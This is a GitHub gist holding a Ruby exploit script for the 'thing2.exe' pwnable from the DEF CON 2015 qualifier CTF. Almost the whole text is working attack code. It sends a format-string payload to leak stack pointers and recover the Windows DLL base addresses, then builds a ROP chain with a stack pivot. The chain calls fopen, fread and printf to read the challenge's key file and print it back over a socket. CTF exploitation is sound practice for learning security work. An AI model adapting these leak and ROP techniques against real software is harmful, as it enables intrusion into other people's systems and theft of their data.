Skip to content

Instantly share code, notes, and snippets.

Embed
What would you like to do?
thing2.exe - legitbs defcon quals 2015 - 4pt pwnable
#!/usr/bin/env ruby
require 'socket'
#require 'hexdump'
$dbg = false
$sock = TCPSocket.new("localhost", 4141)
def recv_until(str)
data = ""
while tmp = $sock.recv(1024) and not tmp.empty?
data += tmp
if data.include? str
return data
end
end
end
# pack ropc - 64bit
def p(val)
return [val].pack("<Q").force_encoding("UTF-8")
end
# this actually wasn't needed
def str_to_qword(val)
if val.length > 7
arr = val.scan(/.{8}/)
# for each chunk, convert
else
# short, single qword.
end
end
def send(astr)
if $dbg
puts astr
end
$sock.puts(astr+"\r\n")
end
# "compressed" data format is just 2\n{numberofentries}\n{character ascii value}\n{repeat last}...
def get_compressed(astr)
built = "2\n"
bytes = ""
astr.each_byte do |c|
bytes = "#{bytes}#{c}\n"
end
built += "#{astr.length}\n#{bytes}"
return built
end
sizePad = 0x9f8 # so... I think this being sorta big breaks the hash/CRC table thing that was the point of the chall, and we get an easier bug
firstMalloc = "1#{"\x00"*(sizePad)}"
send(firstMalloc.ljust(sizePad, "\x00"))
# mallocs a big space. our similarly sized input gets put here l8r :)
leaker = "%p " * 0x40
# leaks the stack
send(get_compressed(leaker))
res = recv_until("DictSize:")
puts "[+] sent stack leak, response: #{res}"
leaks = res[/Decompressed is .+/].split(" ")
leaks = leaks[2..-1]
# strings to numbers
leaks.map! do |e|
e.to_i(16)
end
# retaddrs reveal dll bases
ntdll_base = leaks[48] - 0x15444
k32_base = leaks[42] - 0x13d2
thing2_base = leaks[19] - 0x9200
msvcp_base = leaks[7] - 0x4fd00
msvcr_base = leaks[30] - 0x209eb
puts "[+] bases: {ntdll: #{ntdll_base.to_s(16)}, k32: #{k32_base.to_s(16)}, msvcr: #{msvcr_base.to_s(16)}, msvcrp: #{msvcp_base.to_s(16)}, thing2: #{thing2_base.to_s(16)}"
# so this is the "Decompressed is.." str with our data on the heap, but this gets free'd.
# usually execTrigger's data gets malloced a little before here. on my system cross-reboots it's always the same but if it wasn't we could just spam the beginning with the necessary data...
execTrigger_data = leaks[19]
# sexy gadget offsets, http://ropshell.com/ropsearch?h=4f096d96285e06cd51aef7d2d3de04da
ppr = msvcp_base + 0xe4a4 # pop r12; pop rbp; ret
prcx = ntdll_base + 0x10d244 # pop rcx; ret
prdx = ntdll_base + 0xaff8 # pop rdx; ret
pr8 = msvcr_base + 0x23099 # pop r8; ret
pr9r8 = msvcr_base + 0x23097 # pop r9; pop r8; ret
lift38 = msvcp_base + 0x8ee1 # add rsp, 0x38; ret
addrbxeax = msvcr_base + 0x73387 # add [rbx], eax; ret
prbx = msvcr_base + 0x10E3 # pop rbx; ret
ret = prcx + 1 # ret
#pivot = msvcp_base + 0x25db7 # mov esp, ecx; mov rdi, r8; mov r13, rcx; call [rax + 8]
#pivot = ntdll_base + 0x54289 # xchg esp, [rax]; add [rax], eax; add [rax-0x7D], cl; retn
pivot = ntdll_base + 0x93ab6 # mov rsp, [rcx + 0x98]; mov rcx, [rcx + 0xf8]; jmp rcx
fopen = msvcr_base + 0x2e66c
fread = msvcr_base + 0x2ebe8
printf = msvcr_base + 0x309e0
go_exit = msvcr_base + 0x20d20 # exit is a reserved word in ruby.
flushall = msvcr_base + 0x2e52c # flushes all output streams
puts "[+] buffer addr?: #{leaks[19].to_s(16)}"
# where do we want RSP to point. pivot wants it @ execT+16+0x98
chainStart = execTrigger_data+16+0x210
# these pointed to near the start of the chain. the length of the chain gets added to them, because I realized they need to go after our chain (otherwise funcs will overwrite these w. their locals)
keyStr_addr = execTrigger_data+16+0x218+4
filemode_addr = execTrigger_data+16+0x21C+4
# write the file contents here. should point to our pad space.
outbuf = chainStart+0x300
alt = "1" + "A"*(16) + p(execTrigger_data+16) + p(pivot)*2 + "\x00"*(16)
# ^^^^^^^ this is set to rdx in below. so it points to the pivot after it.
# call [[rdx]+8]
alt += "A"*112
# pivot is gonna set RSP to this val, so this should be our chain
alt += p(chainStart)
alt += "X"*40
# writable mem
alt += p(execTrigger_data+0x10)
alt += "B"*40
# pivot sets RCX to this val, then executes it.
alt += p(prcx+1)
# idk let's put some space before our chain (rop nopsled)
alt += p(ret)*34
# open keyfile
chain = []
chain << p(prcx) # load arg1
chain << p(keyStr_addr) # arg1(rcx): "key"
chain << p(prdx) # load arg2
chain << p(filemode_addr) # arg2(rdx): "r"
chain << p(fopen) # call msvcr!fopen("key", "r")
# fopen is cdecl. the caller should clean up the stack.
chain << p(lift38) # skip the next junk.
chain << "C"*(0x38)
chainSz = 0
chain.each do |e| chainSz += e.length end
# rbx = addr to store FILE* in
chain << p(prbx)
chain << p(chainStart + chainSz + 8 * 8) # second 8 is num of rops from above to target addr
# we put a zero there, this adds eax to it. it's always a 32bit ptr so it's fine
chain << p(addrbxeax)
# fread the key
chain << p(prcx) # rcx=next val
chain << p(outbuf) # outbuff for fread. whatever.
chain << p(prdx) # rdx=1, fread item size
chain << p(1) # ^^^
chain << p(pr9r8) # r9=next, r8=nextafterthat
chain << p(0) # REPLACED AFTWARD. ptr to FILE struct.
chain << p(30) # 30 bytes of data to fread
chain << p(fread) # call msvcr!fread(outbuff, 1, 30, key fd)
# cdecl cleaner
chain << p(lift38) # skip the next junk.
chain << "D"*(0x38)
# print it
chain << p(prcx) # rcx = fread's outbuff
chain << p(outbuf)
chain << p(printf) # print the key!
# flush the buff to make sure we get it
chain << p(flushall)
# exit
chain << p(go_exit)
# instead of changing math every time I update my ropchain... set the ptrs afterwards.
chainSz = 0
chain.each do |e| chainSz += e.length end
keyStr_addr += chainSz
filemode_addr += chainSz
chain[1] = p(keyStr_addr)
chain[3] = p(filemode_addr)
# add the chain to our payload
chain.each do |e| alt += e end
alt += "E"*12
alt += "key\x00r\x00\x00\x00"
#puts alt[1..-1].hexdump
alt = alt.ljust(sizePad, "\x00") # all nulls made it fuck up
send(alt)
puts "[+] result: "
while tmp = $sock.recv(1) and not tmp.empty?
print tmp
end
puts ""
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment